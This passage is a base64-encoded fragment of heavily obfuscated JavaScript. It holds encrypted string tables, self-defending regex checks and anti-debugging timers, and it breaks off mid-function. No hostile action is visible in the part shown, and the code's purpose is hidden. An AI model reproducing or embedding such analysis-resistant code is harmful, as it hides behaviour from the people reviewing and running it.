b24odCxuKXtyZXR1cm4gZVsocj0xNzgwLG89IlVeWWwiLGMoMCwwLDAsbyxyLSAtMzMpKV0odCxuKTt2YXIgcixvfSxyYlpwVzplW3UoMjY5LCJ5ZzdkIildLHBFV3lPOmVbbCgxNDcyLCIlKlckIiwxNTk5LDE0MTApXSxWYUh6RzplW3UoMjgyLCIxJWZnIildfTtmdW5jdGlvbiB1KGUsbixyLG8sYSl7cmV0dXJuIHQoMCxlLSAtNDAzLG4pfWZ1bmN0aW9uIGwodCxlLG4scixvKXtyZXR1cm4gaSgwLHItMTUyOSwwLGUpfWZ1bmN0aW9uIFcodCxlLG4scixvKXtyZXR1cm4gaSgwLG8tMjQ1LDAsdCl9aWYoIWVbVygiYkZ4ZiIsMCwwLDAsLTIyMildKGVbbCgwLCIjQThqIiwwLDE1NTYpXSxlW2MoMCwwLDAsIiRyelciLDE3NTIpXSkpe2NvbnN0IHQ9YT9mdW5jdGlvbigpe2Z1bmN0aW9uIHQodCxlLG4scixvKXtyZXR1cm4gbCgwLHQsMCxvLSAtNjUpfWZ1bmN0aW9uIGUodCxlLG4scixvKXtyZXR1cm4gdShlLSAtMTAwLG4pfWZ1bmN0aW9uIG8odCxlLG4scixvKXtyZXR1cm4gcygwLG8tMzIyLDAsMCx0KX1mdW5jdGlvbiBhKHQsZSxuLHIsbyl7cmV0dXJuIGMoMCwwLDAsdCxlLSAtMTkwKX1pZihkW3QoIikkaigiLDAsMCwwLDEzNzkpXShkW2EoImc5Y0QiLDEzMTcpXSxkW3QoImNoZzEiLDAsMCwwLDExMzEpXSkpe2lmKHIpe2lmKGRbdCgiaShKJSIsMCwwLDAsMTA1MCldKGRbbygiTVZQZCIsMCwwLDAsOTc5KV0sZFthKCJ2SHcyIiwxNDgzKV0pKXtjb25zdCB0PV8weDUxZGE0MFtlKDAsLTIzLCJBbSZIIildKF8weDM2NjU1Nyxhcmd1bWVudHMpO3JldHVybiBfMHg0MDc3MjM9bnVsbCx0fXtjb25zdCB0PXJbbygiZzljRCIsMCwwLDAsMTM2MSldKG4sYXJndW1lbnRzKTtyZXR1cm4gcj1udWxsLHR9fX1lbHNlIGRbZSgwLDEzNSwicGNRJSIpXShfMHgzMjRhMDUsIjAiKX06ZnVuY3Rpb24oKXt9O3JldHVybiBhPSExLHR9e2NvbnN0IHQ9bmV3IF8weDIyZTVkMChkW2woMCwiJVZaNSIsMCwxMTQ1KV0pLGU9bmV3IF8weDMwZjIwZihkW1coInZIdzIiLDAsMCwwLC00NildLCJpIiksbj1kW1coImRDNUkiLDAsMCwwLC01MyldKF8weDQ1Y2Q1MCxkW2woMCwiQW0mSCIsMCwxNjI0KV0pO3RbbCgwLCJEXkxIIiwwLDEwNTYpXShkW2woMCwidkh3MiIsMCwxMTM4KV0obixkW2woMCwiRXUoUCIsMCwxMTk3KV0pKSYmZVtzKDAsNzYyLDAsMCwiMmxCVSIpXShkW3MoMCwxMDY1LDAsMCwiSzVaISIpXShuLGRbcygwLDEwNzMsMCwwLCJPdiZVIildKSk/ZFtsKDAsIlVeWWwiLDAsMTMwNSldKF8weDUxZTVjOCk6ZFt1KDUyNCwiY2hnMSIpXShuLCIwIil9fX0oKShnbG9iYWxUaGlzLChmdW5jdGlvbigpe2Z1bmN0aW9uIHQodCxlLG4scixvKXtyZXR1cm4gZ3Ioby0gLTExMCxyKX1mdW5jdGlvbiBlKHQsZSxuLHIsbyl7cmV0dXJuIGdyKGUtMjgxLG4pfWNvbnN0IG49e307ZnVuY3Rpb24gcih0LGUsbixyLG8pe3JldHVybiBncihvLSAtMzE2LHQpfWZ1bmN0aW9uIG8odCxlLG4scixvKXtyZXR1cm4gZ3Ioby0gLTUxMSxlKX1uW28oNzA2LCJPdiZVIiw1NTMsMjYzLDQyOSldPW8oNjYwLCJUQ1N3IiwzNjMsNDc4LDU1Mykrbyg0MTQsIkV1KFAiLDE5MywyNDUsMzIzKSsiKyQiO2NvbnN0IGE9bjtyZXR1cm4gcHJbdCgwLDAsMCwiMmxCVSIsNzg1KSt0KDAsMCwwLCJoVUBDIiw3MTUpXSgpW2UoMCw3NDgsIks1WiEiKSsiaCJdKGFbcigibU8pSSIsMCwwLDAsNTA3KV0pW3QoMCwwLDAsIjElZmciLDU1MikrcigiMSVmZyIsMCwwLDAsNjgwKV0oKVtlKDAsNzg5LCJAQVhsIikrdCgwLDAsMCwiSDRtZCIsNTE4KSsiciJdKHByKVsoaT0xMTA0LGM9ImRDNUkiLGdyKGktNDgxLGMpKyJoIildKGFbbygwLCJvTHkkIiwwLDAsNDUpXSk7dmFyIGksY30pKTtwcigpO2NvbnN0IGtyPWZ1bmN0aW9uKCl7ZnVuY3Rpb24gdCh0LGUsbixyLG8pe3JldHVybiBncihvLTE5NyxyKX1mdW5jdGlvbiBlKHQsZSxuLHIsbyl7cmV0dXJuIGdyKG8tIC03MixuKX1mdW5jdGlvbiBuKHQsZSxuLHIsbyl7cmV0dXJuIGdyKHItNTI1LG8pfWZ1bmN0aW9uIHIodCxlLG4scixvKXtyZXR1cm4gZ3IoZS04ODEsdCl9Y29uc3Qgbz17dmJpUVk6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX0sTkRNcUk6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCtlfSx6eVZJUjplKDAsMCwiT3YmVSIsMCw3NDUpK3IoIjFBXnQiLDE3MjkpK24oMCwwLDAsMTM2MywiTVNZdCIpK2UoMCwwLCJFdShQIiwwLDQwMikseXBRYW06ZSgwLDAsIikkaigiLDAsNDA1KStuKDAsMCwwLDEwMjgsIm5nUEsiKSsoYT0iJHJ6VyIsaT0xMjU1LGdyKGktMjk4LGEpKStlKDAsMCwiZEM1SSIsMCw3NTkpK2UoMCwwLCJvTHkkIiwwLDkwMykrcigiXkhkIyIsMTY4MCkrIiApIixqbnBLbTpmdW5jdGlvbih0KXtyZXR1cm4gdCgpfSxyR1FnajpmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX0sU0RiZGo6dCgwLDAsMCwiMmxCVSIsMTA1OCksYUZoYkM6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCE9PWV9LHBrbHVxOmUoMCwwLCJnOWNEIiwwLDk0OCksSHpqdVE6dCgwLDAsMCwiOUtxdSIsODMxKSxyWndOSTpmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX0sakJCZVY6bigwLDAsMCwxNTMxLCJwY1ElIil9O3ZhciBhLGk7bGV0IGM9ITA7cmV0dXJuIGZ1bmN0aW9uKGEsaSl7Y29uc3Qgcz17SWxXdE46ZnVuY3Rpb24odCxlKXtyZXR1cm4gb1sobj0iRXUoUCIscj01NzIsZ3Ioci0gLTExLG4pKV0odCxlKTt2YXIgbixyfSx1clNseDpmdW5jdGlvbih0LGUpe3JldHVybiBvWyhuPSIxJWZnIixyPTI2MCxncihyLSAtMzQ1LG4pKV0odCxlKTt2YXIgbixyfSxIUGhBbDpvW1coIkJKUWIiLDYwNiw2OTIpXSxlcHpJVDpvW2woOTA4LDgxNSw1MjEsNzQxLCJNU1l0IildLFNtcVdKOmZ1bmN0aW9uKHQpe3JldHVybiBvWyhlPSJnOWNEIixuPTE4MjQsVyhlLG4tODI4LG4tMjY4KSldKHQpO3ZhciBlLG59LHR3QlZBOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIG9bKG49MTM2NCxyPSJjaGcxIixhPTEwODgsbChuLTQwNixuLTM4NyxyLTEsYS00ODgscikpXSh0LGUpO3ZhciBuLHIsYX0sSEtEaVA6b1tsKDk4Nyw5MzcsOTEzLDEyNDYsIlNZWU4iKV0scnNHSlg6ZnVuY3Rpb24odCxlKXtyZXR1cm4gb1sobj0xNzUwLHI9MTk4OCxhPSJNU1l0IixpPTE4NjYsZChuLTEwMCxpLTU4NSxyLTQ4NixhKSldKHQsZSk7dmFyIG4scixhLGl9LEZmS0pyOm9bZigxMjk4LCJSJlEpIiwxNTQyLDE0NTQpXSxKeUVUVDpvW1coIk1TWXQiLDExMDIsOTE3KV19O2Z1bmN0aW9uIGQodCxlLG4sbyxhKXtyZXR1cm4gcihvLGUtIC00NzkpfWZ1bmN0aW9uIHUoZSxuLHIsbyxhKXtyZXR1cm4gdCgwLDAsMCxvLGUtNTc1KX1mdW5jdGlvbiBsKHQsZSxyLG8sYSl7cmV0dXJuIG4oMCwwLDAsZS0gLTIzNyxhKX1mdW5jdGlvbiBXKGUsbixyLG8sYSl7cmV0dXJuIHQoMCwwLDAsZSxuLSAtNzgpfWZ1bmN0aW9uIGYodCxuLHIsbyxhKXtyZXR1cm4gZSgwLDAsbiwwLHItODYyKX1pZihvW3UoMTU0MiwwLDAsIkBBWGwiKV0ob1tsKDAsMTEwMiwwLDAsIlNEblQiKV0sb1tXKCJkQzVJIiw3OTYpXSkpe2NvbnN0IHQ9Yz9mdW5jdGlvbigpe2Z1bmN0aW9uIHQodCxlLG4scixvKXtyZXR1cm4gZCgwLHItIC0xMDIwLDAsbil9ZnVuY3Rpb24gZSh0LGUsbixyLG8pe3JldHVybiBkKDAsby0xNzQsMCxlKX1mdW5jdGlvbiBuKHQsZSxuLHIsbyl7cmV0dXJuIGYoMCxuLGUtIC0xNDA2KX1mdW5jdGlvbiByKHQsZSxuLHIsbyl7cmV0dXJuIGYoMCxvLG4tIC0xNzcxKX1pZihzW3IoMCwwLC0zNywwLCJxI1MqIildKHNbZSgwLCJmQSh4IiwwLDAsMTEzMSldLHNbdCgwLDAsIjZUb14iLDEzMyldKSl7aWYoaSl7aWYoc1tyKDAsMCwtNTMyLDAsIlImUSkiKV0oc1tuKDAsMTE3LCIkcnpXIildLHNbdCgwLDAsIjFBXnQiLDQyOCldKSl7Y29uc3QgdD1pW24oMCwyNDAsImZBKHgiKV0oYSxhcmd1bWVudHMpO3JldHVybiBpPW51bGwsdH1fMHg1MjJhMDc9XzB4MjIxYjk0fX1lbHNle2NvbnN0IHQ9c1tuKDAsMjUzLCJ5ZzdkIildKF8weDVlNzY4NSxzW3IoMCwwLC0xMDEsMCwiTUppJCIpXShzW2UoMCwiW3dZWyIsMCwwLDE0MjYpXShzW2UoMCwiQkpRYiIsMCwwLDExMjkpXSxzW2UoMCwiUiZRKSIsMCwwLDE2MTgpXSksIik7IikpO18weDUxOWE5Yz1zW2UoMCwiU1lZTiIsMCwwLDEyNDApXSh0KX19OmZ1bmN0aW9uKCl7fTtyZXR1cm4gYz0hMSx0fXtjb25zdCB0PV8weDE0OTYxZT9mdW5jdGlvbigpe2lmKF8weDE3ODQ1Zil7Y29uc3Qgbj1fMHg1MTQwNDFbKHQ9LTI0OCxlPSJxI1MqIix1KHQtIC0xNDc4LDAsMCxlKSldKF8weDFmN2I2ZSxhcmd1bWVudHMpO3JldHVybiBfMHgyYWY2NmE9bnVsbCxufXZhciB0LGV9OmZ1bmN0aW9uKCl7fTtyZXR1cm4gXzB4MWJhMzJjPSExLHR9fX0oKTtmdW5jdGlvbiBncih0LGUpe2NvbnN0IG49YnIoKTtyZXR1cm4gZ3I9ZnVuY3Rpb24oZSxyKXtsZXQgbz1uW2UtPTQ0N107aWYodm9pZCAwPT09Z3Iud1lSemR3KXt2YXIgYT1mdW5jdGlvbih0KXtsZXQgZT0iIixuPSIiLHI9ZSthO2ZvcihsZXQgbyxhLGk9MCxjPTA7YT10LmNoYXJBdChjKyspO35hJiYobz1pJTQ/NjQqbythOmEsaSsrJTQpP2UrPXIuY2hhckNvZGVBdChjKzEwKS0xMCE9MD9TdHJpbmcuZnJvbUNoYXJDb2RlKDI1NSZvPj4oLTIqaSY2KSk6aTowKWE9ImFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5Ky89Ii5pbmRleE9mKGEpO2ZvcihsZXQgbz0wLGE9ZS5sZW5ndGg7bzxhO28rKyluKz0iJSIrKCIwMCIrZS5jaGFyQ29kZUF0KG8pLnRvU3RyaW5nKDE2KSkuc2xpY2UoLTIpO3JldHVybiBkZWNvZGVVUklDb21wb25lbnQobil9O2NvbnN0IGU9ZnVuY3Rpb24odCxlKXtsZXQgbixyLG89W10saT0wLGM9IiI7Zm9yKHQ9YSh0KSxyPTA7cjwyNTY7cisrKW9bcl09cjtmb3Iocj0wO3I8MjU2O3IrKylpPShpK29bcl0rZS5jaGFyQ29kZUF0KHIlZS5sZW5ndGgpKSUyNTYsbj1vW3JdLG9bcl09b1tpXSxvW2ldPW47cj0wLGk9MDtmb3IobGV0IGE9MDthPHQubGVuZ3RoO2ErKylyPShyKzEpJTI1NixpPShpK29bcl0pJTI1NixuPW9bcl0sb1tyXT1vW2ldLG9baV09bixjKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHQuY2hhckNvZGVBdChhKV5vWyhvW3JdK29baV0pJTI1Nl0pO3JldHVybiBjfTtnci55b1Rzb2Y9ZSx0PWFyZ3VtZW50cyxnci53WVJ6ZHc9ITB9Y29uc3QgaT1lK25bMF0sYz10W2ldO2lmKGMpbz1jO2Vsc2V7aWYodm9pZCAwPT09Z3IuRG5tbnBQKXtjb25zdCB0PWZ1bmN0aW9uKHQpe3RoaXMuT1JoVEl1PXQsdGhpcy5TZHRFaG49WzEsMCwwXSx0aGlzLkpwZlBFSD1mdW5jdGlvbigpe3JldHVybiJuZXdTdGF0ZSJ9LHRoaXMuZUdyYnRLPSJcXHcrICpcXChcXCkgKntcXHcrICoiLHRoaXMuaEhsTnp5PSJbJ3xcIl0uK1snfFwiXTs/ICp9In07dC5wcm90b3R5cGUuaFJXU0twPWZ1bmN0aW9uKCl7Y29uc3QgdD1uZXcgUmVnRXhwKHRoaXMuZUdyYnRLK3RoaXMuaEhsTnp5KS50ZXN0KHRoaXMuSnBmUEVILnRvU3RyaW5nKCkpPy0tdGhpcy5TZHRFaG5bMV06LS10aGlzLlNkdEVoblswXTtyZXR1cm4gdGhpcy5OeUZwbFModCl9LHQucHJvdG90eXBlLk55RnBsUz1mdW5jdGlvbih0KXtyZXR1cm4gQm9vbGVhbih+dCk/dGhpcy5LZHZPSXoodGhpcy5PUmhUSXUpOnR9LHQucHJvdG90eXBlLktkdk9Jej1mdW5jdGlvbih0KXtmb3IobGV0IGU9MCxuPXRoaXMuU2R0RWhuLmxlbmd0aDtlPG47ZSsrKXRoaXMuU2R0RWhuLnB1c2goTWF0aC5yb3VuZChNYXRoLnJhbmRvbSgpKSksbj10aGlzLlNkdEVobi5sZW5ndGg7cmV0dXJuIHQodGhpcy5TZHRFaG5bMF0pfSxuZXcgdChncikuaFJXU0twKCksZ3IuRG5tbnBQPSEwfW89Z3IueW9Uc29mKG8sciksdFtpXT1vfXJldHVybiBvfSxncih0LGUpfShmdW5jdGlvbigpe2Z1bmN0aW9uIHQodCxlLG4scixvKXtyZXR1cm4gZ3Iobi0xODMsbyl9ZnVuY3Rpb24gZSh0LGUsbixyLG8pe3JldHVybiBncihyLTUyOSxvKX1jb25zdCBuPXt0ek5JcTpmdW5jdGlvbih0LGUpe3JldHVybiB0KGUpfSxGbGJuTzpmdW5jdGlvbih0LGUpe3JldHVybiB0K2V9LEZWTkVkOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQrZX0sblhDcEo6bygxMjYyLCIkcnpXIiwxMDc4KStvKDkyMywibmdQSyIsMTExMSkrbyg5NTMsImZBKHgiLDEyMzUpK3IoOTQxLDg1MCw3MTgsIjZUb14iKSxTRGFXZTpyKDEzMDMsMTQwNywxMjIxLCJBbSZIIikrbyg4OTcsImRDNUkiLDEwNzEpK3IoMTE5OSwxMDQwLDEyNjIsIk1KaSQiKStyKDE0MTYsMTAxMywxMjQzLCI5S3F1IikrbygxMTk5LCJ5ZzdkIiwxMDczKSthKDEwMzMsMTExNSwiJVZaNSIpKyIgKSIsR2Vna046ZnVuY3Rpb24odCl7cmV0dXJuIHQoKX0sUVFFS0E6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCE9PWV9LGxXV0VCOmUoMCwwLDAsMTA1MiwiY2hnMSIpLGphYlRUOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQhPT1lfSxGYkVicTp0KDAsMCw2OTIsMCwiaShKJSIpLE9UZHBQOnQoMCwwLDEwMjUsMCwiVV5ZbCIpLGdudmxJOnQoMCwwLDc3MiwwLCJING1kIil9O2Z1bmN0aW9uIHIodCxlLG4scixvKXtyZXR1cm4gZ3Iobi0yMjgscil9ZnVuY3Rpb24gbyh0LGUsbixyLG8pe3JldHVybiBncihuLTYwNSxlKX1mdW5jdGlvbiBhKHQsZSxuLHIsbyl7cmV0dXJuIGdyKHQtMzg4LG4pfW5bcigwLDAsODk3LCJ1XVFuIildKChmdW5jdGlvbigpe2NvbnN0IGE9e0lrR0dNOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIG5bKHI9LTI2NyxvPSJxI1MqIixncihyLSAtNzU4LG8pKV0odCxlKTt2YXIgcixvfSxEZmtrVzpmdW5jdGlvbih0LGUpe3JldHVybiBuWyhyPSI2VG9eIixvPTUyMSxncihvLSAtNTUscikpXSh0LGUpO3ZhciByLG99LEpycWx3OmZ1bmN0aW9uKHQsZSl7cmV0dXJuIG5bKHI9MTA1OCxvPSJFNU0wIixncihyLTM1OCxvKSldKHQsZSk7dmFyIHIsb30sY2lqenU6bltzKDE3NDYsMTgyNiwyMDI2LCJCSlFiIildLGx0alpaOm5bcygxNTA0LDEzODAsMTU2MiwiRTVNMCIpXSxJdkZZeTpmdW5jdGlvbih0KXtyZXR1cm4gblsoZT0xMDMyLHI9InlnN2QiLG89NzQ3LHMoZS0gLTQ3NixyLTI2MCxvLTQ3NCxyKSldKHQpO3ZhciBlLHIsb319O2Z1bmN0aW9uIGkodCxlLG4scixhKXtyZXR1cm4gbyh0LTQxNSxuLHItMzkpfWZ1bmN0aW9uIGModCxlLG4sbyxhKXtyZXR1cm4gcigwLDAsYS0gLTgzMixlKX1mdW5jdGlvbiBzKGUsbixyLG8sYSl7cmV0dXJuIHQoMCwwLGUtNjUxLDAsbyl9ZnVuY3Rpb24gZCh0LGUsbixvLGEpe3JldHVybiByKDAsMCx0LSAtNTk4LG8pfWZ1bmN0aW9uIHUodCxuLHIsbyxhKXtyZXR1cm4gZSgwLDAsMCx0LTE2MixhKX1pZihuW3UoMTE3NywwLDAsMCwidkh3MiIpXShuW3UoMTM0MywwLDAsMCwiJSpXJCIpXSxuW3MoMTQ1MywwLDAsIlVeWWwiKV0pKXJldHVybiEwO3tsZXQgdDt0cnl7aWYobltkKDY1NCwwLDAsIlt3WVsiKV0oblt1KDE1MTAsMCwwLDAsIjElZmciKV0sbltzKDE2MzgsMCwwLCIlVlo1IildKSl0PW5bdSgxNDgwLDAsMCwwLCJuZ1BLIildKEZ1bmN0aW9uLG5bdSgxNDA5LDAsMCwwLCJwY1ElIildKG5bYygwLCJAQVhsIiwwLDAsMTQ2KV0obltpKDE1NDAsMCwiZkwxSiIsMTQ0NSldLG5bcygxNDMxLDAsMCwiKSRqKCIpXSksIik7IikpKCk7ZWxzZXtpZihfMHg1ZTQ5NTYpcmV0dXJuIF8weDM4ZTY2OTtuW3UoMTM5NiwwLDAsMCwieWc3ZCIpXShfMHg0ZGZkM2IsMCl9fWNhdGNoKGwpe2lmKG5bcygxNjU4LDAsMCwiVV5ZbCIpXShuW2koMTYyNCwwLCJ2SHcyIiwxMzU3KV0sbltkKDU4MywwLDAsIiUqVyQiKV0pKXtjb25zdCB0PXtZQVViUjpmdW5jdGlvbih0LGUpe3JldHVybiBhWyhuPSJEXkxIIixyPTc1OCxjKDAsbiwwLDAsci02MTgpKV0odCxlKTt2YXIgbixyfSxSeUNIVDpmdW5jdGlvbih0LGUpe3JldHVybiBhWyhuPSJBbSZIIixyPTEzNjEsdShyLSAtMjMsMCwwLDAsbikpXSh0LGUpO3ZhciBuLHJ9LGl6dm5aOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIGFbKG49MTIwMyxyPSJSJlEpIix1KG4tMTgsMCwwLDAscikpXSh0LGUpO3ZhciBuLHJ9LGJoYVJYOmFbYygwLCJUQ1N3IiwwLDAsLTYyKV0sZHJDRUo6YVtzKDE2MjAsMCwwLCJmTDFKIildfSxlPWZ1bmN0aW9uKCl7bGV0IGU7dHJ5e2U9dFtpKDEyODEsIiUqVyQiLDg0OCw5NTgsMTAyMSldKF8weDM0N2FjOCx0W2koMTM1OCwiXkhkIyIsMTI4MCw4MDUsMTA3OSldKHRbKG89IiUqVyQiLGE9LTIsdShhLSAtMTMwMCwwLDAsMCxvKSldKHRbaSgxNTI3LCJTWVlOIiwxMzA0LDE1NTcsMTM0MildLHRbKG49Ik1KaSQiLHI9MTE4NixkKHItODU5LDAsMCxuKSldKSwiKTsiKSkoKX1jYXRjaChjKXtlPV8weDFmYjNjZn12YXIgbixyLG8sYTtmdW5jdGlvbiBpKHQsZSxuLHIsbyl7cmV0dXJuIGQoby03OTUsMCwwLGUpfXJldHVybiBlfTthW2QoMjc3LDAsMCwiZSVSUiIpXShlKVtzKDEzNjIsMCwwLCJlJVJSIikrYygwLCJmTDFKIiwwLDAsMTM5KSsibCJdKF8weDQxZmRiYyw0ZTMpfWVsc2UgdD13aW5kb3d9cmV0dXJuIHR9fSkpW2UoMCwwLDAsMTE0OSwiQkpRYiIpK2EoMTAzNCwwLCJjaGcxIikrImwiXShfciw0ZTMpfSkoKSxmdW5jdGlvbigpe2Z1bmN0aW9uIHQodCxlLG4scixvKXtyZXR1cm4gZ3Ioci0gLTc1MixvKX1mdW5jdGlvbiBlKHQsZSxuLHIsbyl7cmV0dXJuIGdyKG8tMjE3LHIpfWNvbnN0IG49e1hNWVdaOmZ1bmN0aW9uKHQpe3JldHVybiB0KCl9LGJBZkJLOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQhPT1lfSxrR1lUYjplKDAsMCwwLCJmQSh4IiwxMjE2KSxnY1l1VjpyKCJ5TngmIiw1NTcpLEtyaVVKOnIoIiUqVyQiLDEwMTcpK28oNDc1LCJmQSh4Iikrbyg4OTIsImUlUlIiKSsiKSIsT0NTdFM6dCgwLDAsMCwyMjAsIlNEblQiKStyKCIybEJVIiw4MDUpK3QoMCwwLDAsMTkxLCJ2SHcyIikrdCgwLDAsMCw3MCwiTUppJCIpK28oNzM0LCJkQzVJIikrbyg1MzQsIiRyelciKSt0KDAsMCwwLDMwNywieWc3ZCIpLExZSXZSOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQoZSl9LFR6blNCOmUoMCwwLDAsIks1WiEiLDk0NiksT2hLbmQ6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCtlfSxBZmRZbjp0KDAsMCwwLC0zMDEsImUlUlIiKSxsUllFRDpyKCIybEJVIiwxMDA2KSxjcmVMZDpmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX0sVGFJZG06dCgwLDAsMCwtMjY4LCI2VG9eIiksaUp0YWY6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX0scURYdUg6ZSgwLDAsMCwiJSpXJCIsNzU0KSxiT3RVSzpmdW5jdGlvbih0LGUsbil7cmV0dXJuIHQoZSxuKX19O2Z1bmN0aW9uIHIodCxlLG4scixvKXtyZXR1cm4gZ3IoZS0xMDMsdCl9ZnVuY3Rpb24gbyh0LGUsbixyLG8pe3JldHVybiBncih0LTIyLGUpfW5bcigiZkEoeCIsMTA4OCldKGtyLHRoaXMsKGZ1bmN0aW9uKCl7ZnVuY3Rpb24gbyh0LGUsbixyLG8pe3JldHVybiBncihvLSAtMzc1LTcwNixlKX1mdW5jdGlvbiBhKHQsbixyLG8sYSl7cmV0dXJuIGUoMCwwLDAsYSx0LSAtMTAzMil9ZnVuY3Rpb24gaShlLG4scixvLGEpe3JldHVybiB0KDAsMCwwLGUtOTQ5LG8pfWZ1bmN0aW9uIGModCxlLG4sbyxhKXtyZXR1cm4gcihlLG8tIC0yNTYpfWlmKG5baSgxMjAyLDAsMCwiY2hnMSIpXShuW2EoLTEyMCwwLDAsMCwiQEFYbCIpXSxuW2koMTIyNywwLDAsIm9MeSQiKV0pKXtjb25zdCB0PW5ldyBSZWdFeHAobltpKDEwNzgsMCwwLCJTWVlOIildKSxyPW5ldyBSZWdFeHAobltjKDAsIk1WUGQiLDAsNzIxKV0sImkiKSxzPW5bbygwLCIlVlo1IiwwLDAsMTI5MildKF9yLG5bYSgyNDEsMCwwLDAsInZIdzIiKV0pO2lmKHRbbygwLCJmTDFKIiwwLDAsMTA3NildKG5bbygwLCJpKEolIiwwLDAsOTE2KV0ocyxuW2EoLTEyOCwwLDAsMCwiT3YmVSIpXSkpJiZyW28oMCwiU1lZTiIsMCwwLDEwMDYpXShuW2MoMCwiVENTdyIsMCwzNDUpXShzLG5baSg4NTMsMCwwLCJnOWNEIildKSkpe2lmKG5bYSgtOTMsMCwwLDAsIk1TWXQiKV0obltvKDAsInlOeCYiLDAsMCwxMjE5KV0sbltjKDAsImddUUgiLDAsNDg5KV0pKXtjb25zdCB0PV8weDJmNDY1NT9mdW5jdGlvbigpe2lmKF8weDRiOWFjOSl7Y29uc3Qgcj1fMHgzZjZkOTVbKHQ9MzM3LG49IikkaigiLGUoMCwwLDAsbix0LSAtODI3LTQxMykpXShfMHgzZThmNTgsYXJndW1lbnRzKTtyZXR1cm4gXzB4NTk5MGU3PW51bGwscn12YXIgdCxufTpmdW5jdGlvbigpe307cmV0dXJuIF8weDI3OWU4ND0hMSx0fW5bYSg5OCwwLDAsMCwieU54JiIpXShfcil9ZWxzZSBpZihuW28oMCwiMUFedCIsMCwwLDgxNCldKG5bYSgyMCwwLDAsMCwiTVZQZCIpXSxuW28oMCwiQEFYbCIsMCwwLDk3MildKSluW28oMCwiTVZQZCIsMCwwLDgzMildKHMsIjAiKTtlbHNlIGlmKF8weDg2M2NhNSl7Y29uc3QgdD1fMHgyYzljYjZbYSgtNDgsMCwwLDAsIk1KaSQiKV0oXzB4M2YzMGY0LGFyZ3VtZW50cyk7cmV0dXJuIF8weDRjOTMwMz1udWxsLHR9fWVsc2UgbltpKDgxMSwwLDAsImZBKHgiKV0oXzB4MjNmOGExKX0pKSgpfSgpO2NvbnN0IHZyPWZ1bmN0aW9uKCl7ZnVuY3Rpb24gdCh0LGUsbixyLG8pe3JldHVybiBncihyLTg1NCxvKX1jb25zdCBlPXtZSWFzdzpmdW5jdGlvbih0LGUpe3JldHVybiB0KGUpfSxCSWFMcTpmdW5jdGlvbih0LGUpe3JldHVybiB0K2V9LGhNUXJqOmkoLTIxMCwiZ11RSCIsOTcsLTIwMSwtMTI5KStpKC0zOTgsIks1WiEiLC0xNzUsLTQwNiwtMjExKSt0KDAsMCwwLDE0NTIsIlVeWWwiKSt0KDAsMCwwLDEzNTgsImhVQEMiKSxFSUdzbTpvKCI5S3F1IiwxMzQxLDE1MjIsMTM0NywxNTI3KSthKDU2MSw2ODUsInEjUyoiLDY5Nyw0MzcpK3IoNTEyLDIyOCw0NDQsMjk0LCIlVlo1Iikrcig2MDMsNDg5LDkwMiw5MTEsIm1PKUkiKSt0KDAsMCwwLDEzNzksIk1TWXQiKSt0KDAsMCwwLDE1ODksImkoSiUiKSsiICkiLGRjUWNoOnIoMjc5LDQyMSwzNjQsNTQyLCJCSlFiIiksakdyaW46cig2MTQsOTAyLDUwMSw4MDgsIjFBXnQiKSxRUXdwbzpyKDY5Myw3MjEsNTcxLDcyOSwiNlRvXiIpKyJuIixnaVZkdTpmdW5jdGlvbih0LGUpe3JldHVybiB0K2V9LER4Z010OmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQrZX0saEZlZXg6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdD09PWV9LGl6RGRqOmEoLTk0LC0xOTMsIl5IZCMiLDE5NywtNDEpLHZXZU1wOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQhPT1lfSxSV2h0ajphKC04LDQ5LCJFNU0wIiwyMzgsLTIzKSxHSmVGaDpyKDQyMCw2NTQsNDgyLDM0NCwidV1RbiIpLHFnUGtTOm8oIkBBWGwiLDE1ODAsMTEwMiwxMjUyLDEzMTEpfTtsZXQgbj0hMDtmdW5jdGlvbiByKHQsZSxuLHIsbyl7cmV0dXJuIGdyKHQtIC0zMzQsbyl9ZnVuY3Rpb24gbyh0LGUsbixyLG8pe3JldHVybiBncihvLTQ5OSx0KX1mdW5jdGlvbiBhKHQsZSxuLHIsbyl7cmV0dXJuIGdyKG8tIC01ODYsbil9ZnVuY3Rpb24gaSh0LGUsbixyLG8pe3JldHVybiBncihvLSAtOTg0LGUpfXJldHVybiBmdW5jdGlvbihyLG8pe2Z1bmN0aW9uIGMoZSxuLHIsbyxhKXtyZXR1cm4gdCgwLDAsMCxhLSAtNDMyLHIpfWZ1bmN0aW9uIHModCxlLG4scixvKXtyZXR1cm4gaSgwLGUsMCwwLG4tMTE5NCl9Y29uc3QgZD17eVdybFM6ZnVuY3Rpb24odCxuKXtyZXR1cm4gZVsocj04OTYsbz0iZ11RSCIsZ3Ioci0yMzcsbykpXSh0LG4pO3ZhciByLG99LG5meFVIOmVbYygwLDAsImZBKHgiLDAsMTI2MyldLHNZT3hnOmVbVyg4NTcsIlNEblQiLDc0NCw4MjgpXSxDUWF0djplW2woMTEyMCwxMTU1LDExODcsODM0LCJ5TngmIildLGNaalJFOmZ1bmN0aW9uKHQsbil7cmV0dXJuIGVbKHI9MTMxMyxvPSJoVUBDIixhPTEwODUsbChyLSAtMzI3LHItMTk5LG8tMzYzLGEtMzgwLG8pKV0odCxuKTt2YXIgcixvLGF9LFF6RWxaOmZ1bmN0aW9uKHQsbil7cmV0dXJuIGVbKHI9MTc1OSxvPTE5MDYsYT0xODM4LGk9InZIdzIiLFcoci0zMzgsa